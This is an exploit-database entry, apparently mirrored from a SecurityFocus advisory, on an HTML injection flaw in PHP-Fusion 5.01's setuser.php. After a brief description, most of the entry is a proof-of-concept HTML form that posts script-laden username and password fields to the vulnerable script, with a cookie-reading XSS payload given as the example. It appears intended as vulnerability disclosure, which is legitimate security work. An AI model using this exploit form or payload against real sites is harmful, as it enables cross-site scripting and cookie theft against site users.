PHP-Fusion 4/5 Setuser.PHP HTML Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

PHP-Fusion version 5.01 Setuser.PHP HTML injection vulnerabilit


                                                source: http://www.securityfocus.com/bid/12853/info

PHP-Fusion is reportedly affected by a HTML injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input passed to the &#39;setuser.php&#39; script before using it in dynamically generated content.

This vulnerability is reported to affect PHP-Fusion version 5.01, however the vendor reports that the vulnerability might exist in an alteration that is planned for version 5.02. This alteration was recently released to the PHP-Fusion community as a mod for version 5.01.

&#60;html&#62;

&#60;head&#62;
&#60;title&#62;PHP-Fusion v5.01 Exploit&#60;/title&#62;
&#60;/head&#62;

&#60;body&#62;

&#60;h1&#62;PHP-Fusion v5.01 Html Injection Exploit&#60;/h1&#62;


&#60;form method=&#34;POST&#34; action=&#34;http://www.example.com/setuser.php&#34;&#62;
  &#60;b&#62;XSS in register.php:&#60;/b&#62;&#60;p&#62;
  Username:
  &#60;input type=&#34;text&#34; name=&#34;user_name&#34; size=&#34;48&#34; value=&#34;XSS Injection Code&#34;&#62;&#60;/p&#62;
  &#60;p&#62;
  Password:
  &#60;input type=&#34;text&#34; name=&#34;user_pass&#34; size=&#34;48&#34; value=&#34;XSS Injection Code&#34;&#62;&#60;/p&#62;
  &#60;p&#62;&#60;input type=&#39;checkbox&#39; name=&#39;remember_me&#39; value=&#39;y&#39;&#62;Remember Me&#60;br&#62;&#60;br&#62;
  exmple: &#60;script&#62;document.write(document.cookie)&#60;/script&#62;&#60;/p&#62;
  &#60;p&#62;&nbsp;&#60;input type=&#39;submit&#39; name=&#39;login&#39; value=&#39;RUN!&#39; class=&#39;button&#39;&#62;&#60;/p&#62;
&#60;/form&#62;
&#60;p&#62;&nbsp;&#60;/p&#62;
&#60;p align=&#34;center&#34;&#62;&#60;a href=&#34;http://www.PersianHacker.NET&#34;&#62;www.PersianHacker.NET&#60;/a&#62;&#60;/p&#62;

&#60;/body&#62;

&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1